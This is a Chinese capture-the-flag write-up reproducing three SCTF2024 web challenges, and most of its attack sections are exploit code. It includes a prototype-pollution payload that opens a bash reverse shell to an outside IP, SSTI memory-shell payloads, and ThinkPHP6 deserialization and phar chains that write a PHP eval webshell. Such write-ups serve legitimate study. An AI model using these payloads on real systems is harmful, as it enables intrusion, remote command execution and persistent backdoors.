SCTF2024(复现)

news2024/11/26 18:41:22

SCTF2024(复现)

web

SycServer2.0

开题:

需要登录,进行目录扫描,得到/config,/hello,/robots.txt 等,访问/hello 显示需要 token,查看源码发现存在 sqlwaf

可以通过抓包绕过前端 js 验证(或者写 python 脚本),抓包的话这里有个 rsa 加密,利用厨子进行加密

得到登录成功的 cookie

(也可以利用 python 脚本, rsa 加密有两种填充方式,这里用的是 PKCS#1v1.5,实在不知道就直接把源码的加密复制问 gpt。)

然后访问 robots.txt 中给的路径 /ExP0rtApi?v=static&f=1.jpeg 是 v/f 形式的任意文件读取,需要用 ./ 进行绕过

读取 /proc/self/cmdline,得到源码在 /app/app.js 中

const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
  host: 'localhost',
  user: 'ctf',
  password: 'ctf123123',
  port: '3306',
  database: 'sctf'
})
con.connect((err) => {
  if (err) {
    console.error('Error connecting to MySQL:', err.message);
    setTimeout(con.connect(), 2000); // 2秒后重试连接
  } else {
    console.log('Connected to MySQL');
  }
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
  const token = req.cookies['auth_token'];

  if (!token) {
    return res.status(403).json({ message: 'No token provided' });
  }

  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) {
      return res.status(403).json({ message: 'Failed to authenticate token' });
    }

    if (decoded.role !== 'admin') {
      return res.status(403).json({ message: 'Access denied. Admins only.' });
    }

    req.user = decoded;
    next();
  });
}

app.get('/hello', verifyAdmin ,(req, res)=> {
  res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
  res.json({
    publicKey: publicPem,
  });
});

var decrypt = function(body) {
  try {
    var pem = privatePem;
    var key = new nodeRsa(pem, {
      encryptionScheme: 'pkcs1',
      b: 1024
    });
    key.setOptions({ environment: "browser" });
    return key.decrypt(body, 'utf8');
  } catch (e) {
    console.error("decrypt error", e);
    return false;
  }
};

app.post('/login', (req, res) => {
  const encryptedPassword = req.body.password;
  const username = req.body.username;

  try {
    passwd = decrypt(encryptedPassword)
    if(username === 'admin') {
      const sql = `select (select password from user where username = 'admin') = '${passwd}';`
      con.query(sql, (err, rows) => {
        if (err) throw new Error(err.message);
        if (rows[0][Object.keys(rows[0])]) {
          const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
          res.cookie('auth_token', token, {secure: false});
          res.status(200).json({success: true, message: 'Login Successfully'});
        } else {
          res.status(200).json({success: false, message: 'Errow Password!'});
        }
      });
    } else {
      res.status(403).json({success: false, message: 'This Website Only Open for admin'});
    }
  } catch (error) {
    res.status(500).json({ success: false, message: 'Error decrypting password!' });
  }
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
  var rootpath = req.query.v;
  var file = req.query.f;

  file = file.replace(/\.\.\//g, '');
  rootpath = rootpath.replace(/\.\.\//g, '');

  if(rootpath === ''){
    if(file === ''){
      return res.status(500).send('try to find parameters HaHa');
    } else {
      rootpath = "static"
    }
  }

  const filePath = path.join(__dirname, rootpath + "/" + file);

  if (!fs.existsSync(filePath)) {
    return res.status(404).send('File not found');
  }
  fs.readFile(filePath, (err, fileData) => {
    if (err) {
      console.error('Error reading file:', err);
      return res.status(500).send('Error reading file');
    }

    zlib.gzip(fileData, (err, compressedData) => {
      if (err) {
        console.error('Error compressing file:', err);
        return res.status(500).send('Error compressing file');
      }
      const base64Data = compressedData.toString('base64');
      res.send(base64Data);
    });
  });
});

app.get("/report", verifyAdmin ,(req, res) => {
  res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
  const {user, date, reportmessage} = req.body;
  if(Reportcache[user] === undefined) {
    Reportcache[user] = {};
  }
  Reportcache[user][date] = reportmessage
  res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
  let count = 0;
  for (const user in Reportcache) {
    count += Object.keys(Reportcache[user]).length;
  }
  res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
  var command = 'whoami';
  const cmd = cp.spawn(command ,[]);
  cmd.stdout.on('data', (data) => {
    res.status(200).end(data.toString());
  });
})

app.listen(3000, () => {
  console.log('Server running on http://localhost:3000');
});

不难看出在路径 /reporte 存在原型链污染,只不过现在需要知道该污染什么,发现

调用了child_process.spawn 方法,会创建新的环境变量,所以可以污染环境变量进行 rce。参考:js原型链污染

payload:

import requests

remote_addr = 'http://1.95.87.154:22483'
rs = requests.Session()

def login():
    resp = rs.post(remote_addr+"/login",json={"username":"admin","password":"DbT33V+xr+TZQm+pYfR5qyShF8Ok5hzF5kMCEL/reDznBsBCb3+2n73qElMY4N9FOxBddIfkSX90m3eAtmJV4WsQDHVVzlkhIbDiKrJr3djl8z/aZo6K7nLTD85D2t97lkjvon3oQOpZ8ArpYRsAHkWxA0KuOYLkmlyNcDpUG8o="})
    assert 'Login Success' in resp.text

login()

def add_report(username,date,report):
    resp = rs.post(remote_addr+"/report",json={"user":username,"date":date,"reportmessage":report})
    assert 'Report Success' in resp.text

add_report("__proto__",2,{"shell":"/proc/self/exe","argv0":"console.log(require('child_process').execSync('bash -c \"/bin/sh -i >& /dev/tcp/123.45.6.7/9999 0>&1\"').toString())//","env":{"NODE_OPTIONS":"--require /proc/self/cmdline"}})

污染完后访问路径 /VanZY_s_T3st 即可。

ezRender

开题,又是一个登录框,需要 admin 才能进行 ssti。其验证 admin 的逻辑,

会判断 cookie 中的 is_admin 是否为 1,而生成 jwt 需要 secrete,

可以看到 secrete 生成是时间戳+随机数,而提示:ulimit -n =2048

ulimit -n 2048 指的是 同时 最大允许打开 2048 个文件描述符(文件、套接字等)。如果进程达到这个限制,尝试打开新文件时将会失败,通常会报类似 “Too many open files” 的错误。

所以这里注册 2048 个账号,让文件打不开,这样就能使 secrete 为时间戳,方便伪造 jwt,在进行 2048 次注册后,再次注册并把时间转换为时间戳,然后进行登录获得 token

爆破时间戳伪造 jwt

import jwt  
  
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieXVzaSIsImlzX2FkbWluIjoiMCJ9.X_0FsVcxrelXAuFCFcqHoKsYVcScOkM8ckRLG32A-Cs"  # JWT token  
password_file = "./111.txt"  # Password dictionary file  
  
with open(password_file, 'rb') as file:  
    for line in file:  
        line = line.strip()
        try:  
        
            jwt.decode(token, key=line, algorithms=["HS256"], options={"verify_signature": True})  
            print('Key found: ', line.decode('ascii'))  
            break  
        except (jwt.exceptions.ExpiredSignatureError,  
                jwt.exceptions.InvalidAudienceError,  
                jwt.exceptions.InvalidIssuedAtError,  
                jwt.exceptions.ImmatureSignatureError):  

            print("Key (valid but token issues): ", line.decode('ascii'))  
            break  
        except jwt.exceptions.InvalidSignatureError:  

            print("Failed: ", line.decode('ascii'))  
            continue  
    else:  
        print("Key not found.")

然后就可以进行 ssti 注入了,无回显,可以 dns 外带或者反弹 shell,但是这里不出网,可以打内存马。

直接用 fenjing 绕一下就行了,这里就不过多研究了。copy 了几个师傅们的内存🐎payload

{{g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower())("__import__('builtins').__dict__.__getitem__('EXEC'.lower())(bytes.fromhex('5f5f696d706f72745f5f282273797322292e6d6f64756c65732e5f5f6765746974656d5f5f28225f5f6d61696e5f5f22292e5f5f646963745f5f2e5f5f6765746974656d5f5f2822415050222e6c6f7765722829292e6265666f72655f726571756573745f66756e63732e73657464656661756c74284e6f6e652c205b5d292e617070656e64286c616d626461203a5f5f696d706f72745f5f28276f7327292e706f70656e28272f72656164666c616727292e72656164282929').decode('utf-8'))")}}

#.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('/readflag').read())
{{(g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower()))("import+base64;ex"%2b"ec(base64.b64decode('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp'));")}}

Simpleshop

提示了源码下载地址,就是一个代码审计题,搭建好环境后,通过一番搜索知道了漏洞点在 get_image_base64 函数,

该函数接受两个参数,一个 image,一个code。其实就是先检查从传入的 url 的资源是不是一张图片,然后先尝试从缓存获取图片,如果失败了就尝试从远程下载图片,再将其转成 base64(emmm 是不是不用上传也可以呢?)。然后该函数调用了 put_image 函数,而在 put_image 中使用了 readfile 来读取 url 中的内容,那么这里就可以导致 phar://反序化。

至于链子,该框架就是使用的 thinkphp6 基础搭建的,可以直接打 thinphp6 的反序列化链,

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["Lethe" => "whoami"];
    private $withAttr = ["Lethe" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

这个链子就可以

但是这条链子只能执行系统命令,无法执行代码写 webshell,拿来反弹 shell 倒是可以。重新找一条写 webshell 的,参考:https://xz.aliyun.com/t/10644

<?php  
  
namespace think {  
  
    use think\route\Url;  
  
    abstract class Model  
    {  
        private $lazySave;  
        private $exists;  
        protected $withEvent;  
        protected $table;  
        private $data;  
        private $force;  
        public function __construct()  
        {  
            $this->lazySave = true;  
            $this->withEvent = false;  
            $this->exists = true;  
            $this->table = new Url();  
            $this->force = true;  
            $this->data = ["1"];  
        }  
    }  
}  
  
namespace think\model {  
  
    use think\Model;  
  
    class Pivot extends Model  
    {  
        function __construct()  
        {  
            parent::__construct();  
        }  
    }  
    $b = new Pivot();  
    echo urlencode(serialize($b));  
}  
  
namespace think\route {  
  
    use think\Middleware;  
    use think\Validate;  
  
    class Url  
    {  
        protected $url;  
        protected $domain;  
        protected $app;  
        protected $route;  
        public function __construct()  
        {  
            $this->url = 'a:';  
            $this->domain = "<?php fputs(fopen('E:/WebCMS/CRMEB-v5.4.0/crmeb/public/shell.php','w'),'<?php @eval(\$_POST[a]);?>'); ?>";  
            $this->app = new Middleware();  
            $this->route = new Validate();  
        }  
    }  
}  
  
namespace think {  
  
    use think\view\driver\Php;  
  
    class Validate  
    {  
        public function __construct()  
        {  
            $this->type['getDomainBind'] = [new Php(), 'display'];  
        }  
    }  
    class Middleware  
    {  
        public function __construct()  
        {  
            $this->request = "2333";  
        }  
    }  
}  
  
namespace think\view\driver {  
    class Php  
    {  
        public function __construct()  
        {  
        }  
    }  
}

生成 phar 文件 paylod

<?php  
  
namespace think {  
  
    use think\route\Url;  
  
    abstract class Model  
    {  
        private $lazySave;  
        private $exists;  
        protected $withEvent;  
        protected $table;  
        private $data;  
        private $force;  
        public function __construct()  
        {  
            $this->lazySave = true;  
            $this->withEvent = false;  
            $this->exists = true;  
            $this->table = new Url();  
            $this->force = true;  
            $this->data = ["1"];  
        }  
    }  
}  
  
namespace think\model {  
  
    use think\Model;  
  
    class Pivot extends Model  
    {  
        function __construct()  
        {  
            parent::__construct();  
        }  
    }  
  
}  
  
namespace think\route {  
  
    use think\Middleware;  
    use think\Validate;  
  
    class Url  
    {  
        protected $url;  
        protected $domain;  
        protected $app;  
        protected $route;  
        public function __construct()  
        {  
            $this->url = 'a:';  
            $this->domain = "<?php fputs(fopen('E:/WebCMS/CRMEB-v5.4.0/crmeb/public/shell.php','w'),'<?php @eval(\$_POST[a]);?>'); ?>";  
            $this->app = new Middleware();  
            $this->route = new Validate();  
        }  
    }  
}  
  
namespace think {  
  
    use think\view\driver\Php;  
  
    class Validate  
    {  
        public function __construct()  
        {  
            $this->type['getDomainBind'] = [new Php(), 'display'];  
        }  
    }  
    class Middleware  
    {  
        public function __construct()  
        {  
            $this->request = "2333";  
        }  
    }  
}  
  
namespace think\view\driver {  
    class Php  
    {  
        public function __construct()  
        {  
        }  
    }  
}  
namespace{  
    $exp = new think\Model\Pivot();  
  
  
    $phar = new Phar('./test.phar');  
    $phar -> stopBuffering();  
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  
    $phar -> addFromString('test.txt','test');  
    $phar -> setMetadata($exp);  
    $phar -> stopBuffering();  
    rename('./test.phar','test.jpg');  
}

接下来就是触发 phar 反序列化了,发现在 api/image_base64 对危险函数进行了调用。

上传图片,然后传参进行触发,上传时需要绕过内容和后缀限制,所以利用 gzip 进行压缩后改名为 jpg。

至于为什么加 gaoren.jpg 是因变量 $codeTmp 需要为 false,需要一个本地不存在的图片才能进入 put_image 函数

然后 phphar://ar 是因为后面会把 phar:// 替换为空,利用双写绕过

最后成功反序列化写上 webshell,由于是本地复现就到这里了,实际上还需要利用 fpm 绕过 disable function,然后 grep 的 suid 提权获得 flag。

参考:https://blog.wm-team.cn/index.php/archives/82/#ez_tex

参考:https://blog.xmcve.com/2024/10/01/SCTF-2024-Writeup/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2192975.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于ucontext库实现协程类

文章目录 前言协程基础知识协程上下文对称协程与⾮对称协程有栈协程与⽆栈协程 ucontext库接口熟悉一个简单的函数切换自动调用 协程类的实现接口全局变量线程局部变量malloc封装协程切换构造函数协程执行的方法 测试协程切换手动切换复用 前言 协程&#xff08;Coroutine&…

Maven安装使用

说明&#xff1a;Maven是Apache旗下的一个开源项目&#xff0c;是一款用于管理和构建java项目的工具。一般来说&#xff0c;它帮助我们管理依赖、构建项目。本文介绍在Windows系统下安装Maven。 下载&安装&验证 下载 首先&#xff0c;在Maven官网&#xff08;https:…

【第十五周】PyTorch深度学习实践2

目录 摘要Abstract1.多分类问题1.1.Softmax1.2.维度问题1.3.NLLLoss v.s. CrossEntropy1.4.代码实践1.4.1.导入相应的包1.4.2.准备数据集1.4.3.模型设计1.4.4.构造损失和优化器1.4.5.模型训练 2.卷积神经网络基础篇2.1.代码实践2.1.1.导入相应的包&#xff1a;2.1.2.准备数据集…

我谈巴特沃斯滤波器

目录 写在前面的内容我谈巴特沃斯滤波器巴特沃斯滤波器的幅频响应频率变换巴特沃斯各种滤波器例子 写在前面的内容 先看看冈萨雷斯对巴特沃斯滤波器的介绍。 低通 高通 带阻 带通 第一个问题&#xff0c;截止频率处的增益。 0.5的增益是不是陡度小了&#xff1f;巴特沃…

ai智能论文生成系统有用吗?分享5款ai文献综述自动生成器

近年来&#xff0c;人工智能&#xff08;AI&#xff09;技术在学术写作领域的应用越来越广泛&#xff0c;尤其是在文献综述的自动生成方面。AI智能论文生成系统通过深度学习和自然语言处理技术&#xff0c;能够帮助研究人员快速生成高质量的文献综述&#xff0c;从而提高写作效…

深度扩展AntSK,让.NET Aspire助力您的AI项目

引言 在现今飞速发展的技术世界中&#xff0c;引用最新的工具和框架来提升项目的性能和可管理性至关重要。作为一名开发者&#xff0c;我最近在自己的AI知识库项目AntSK中集成了.NET Aspire&#xff0c;这为我的项目注入了新的活力。如果你还不清楚什么是.NET Aspire&#xff0…

[单master节点k8s部署]32.ceph分布式存储(三)

基于ceph rbd生成pv 在集群中认证ceph 用下面代码生成ceph的secret .创建 ceph 的 secret&#xff0c;在 k8s 的控制节点操作&#xff1a; 回到 ceph 管理节点创建 pool 池&#xff1a; [rootmaster1-admin ~]# ceph osd pool create k8stest 56 pool k8stest created [rootm…

BERT论文解读及情感分类实战(论文复现)

BERT论文解读及情感分类实战&#xff08;论文复现&#xff09; 本文所涉及所有资源均在传知代码平台可获取 文章目录 BERT论文解读及情感分类实战&#xff08;论文复现&#xff09;简介BERT文章主要贡献BERT模型架构技术细节任务1 Masked LM&#xff08;MLM&#xff09;任务2 N…

【web安全】——常见框架漏洞

1.ThinkPHP框架漏洞 thinkphp是一个国内轻量级的开发框架&#xff0c;采用phpapache&#xff0c;在更新迭代中&#xff0c;thinkphp也经常爆出各种漏洞&#xff0c;thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本&#xff0c;前两个版本已经停止更新&#xff…

【详细教程】如何使用YOLOv11进行图像与视频的目标检测

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

m4a怎么转换成mp3?音频转换MP3只需要这6个小工具!

m4a怎么转换成mp3&#xff1f;M4A和MP3是两种常见的音频格式&#xff0c;M4A通常使用AAC&#xff08;高级音频编码&#xff09;进行压缩&#xff0c;提供更高的音质和更小的文件体积&#xff0c;特别适合在Apple设备上使用。而MP3则以其高压缩比和广泛的兼容性著称&#xff0c;…

TM1618数码管控制芯片使用共阳极数码管过程中的问题和解决办法

控制芯片的基本了解 相比于不用控制芯片的电路&#xff1a;这里带2根电源线和3个信号线&#xff0c;共使用了5根线&#xff0c;但可以控制4个8段数码管显示。若是电路直接控制4个8段数码管需要84113个接口&#xff0c;这对于MCU的珍贵引脚简直是浪费。 这里不会出现余晖效应也…

大花蔷薇T2T基因组-60

Multi-omics analyzes of Rosa gigantea illuminate tea scent biosynthesis and release mechanisms 多组学分析揭示了大花蔷薇茶香合成及释放机制 摘要 玫瑰是一种全球广泛栽培的重要观赏作物&#xff0c;用于香水生产。然而&#xff0c;由于缺乏茶玫瑰的参考基因组&#x…

鸿蒙开发(NEXT/API 12)【穿戴设备传感器获取】手机侧应用开发

手机侧应用可以通过Wear Engine获取穿戴设备上的传感器信息&#xff0c;并通过打开、关闭命令控制获取传感器数据。 使用传感器相关接口前&#xff0c;需要向手机侧用户申请获取对应权限的授权 传感器类型申请权限ECG、PPG、HR[HEALTH_SENSOR]人体传感器ACC、GYRO、MAG[MOTIO…

汇编DEBUG程序调用

工具 系统&#xff1a;Windows 11 应用&#xff1a;DOSBox 0.74-3 下载安装教程&#xff1a;本人写的《DOSBox下载安装&#xff08;Windows系统 DOSBox 0.74-3&#xff09;》 https://blog.csdn.net/just_do_it_sq/article/details/142715182?spm1001.2014.3001.5501 相关文…

C++ 算法学习——1.3 深度优先搜索

深度优先搜索&#xff1a;简单讲就是搜到某条路尽头&#xff0c;再掉头回溯搜其他的路。此中重点是尽头的判断&#xff0c;和对走过的路进行标记。 一般采用递归的写法&#xff0c;模板大致如下&#xff1a; DFS(node,visited):if node is in visited:returnadd node to visi…

通用mybatis-plus查询封装(QueryGenerator)

结果如下图所示 java类代码分别如下 1 package com.hdx.contractor.util.mybatis;import com.hdx.contractor.common.user.SecurityUser; import com.hdx.contractor.common.user.UserDetail; import com.hdx.contractor.util.query.oConvertUtils; import lombok.extern.slf…

OpenHarmony(鸿蒙南向开发)——轻量系统芯片移植案例(一)

往期知识点记录&#xff1a; 鸿蒙&#xff08;HarmonyOS&#xff09;应用层开发&#xff08;北向&#xff09;知识点汇总 鸿蒙&#xff08;OpenHarmony&#xff09;南向开发保姆级知识点汇总~ 持续更新中…… 轻量带屏解决方案之恒玄芯片移植案例 本文章基于恒玄科技BES2600W…

【AI知识点】交叉验证(Cross-Validation)

交叉验证&#xff08;Cross-Validation&#xff09; 是机器学习中常用的一种模型评估方法&#xff0c;用于评估模型的性能和泛化能力。它通过在不同的训练集和验证集上多次训练和测试模型&#xff0c;从而有效地评估模型在未见数据上的表现&#xff0c;帮助防止模型的过拟合和欠…

【RTD MCAL 篇2】 K312 UART DMA

【RTD MCAL 篇2】 K312 UART DMA 一&#xff0c;文档简介二&#xff0c; 功能实现2.1 K312 MINIEVB硬件配置2.2 EB 配置2.2.1 Mcl module2.2.2 Mcu module2.2.3 Platform module2.2.4 Port module2.2.5 Uart module2.2.6 Rm module 2.3 main code 三&#xff0c;测试结果 一&am…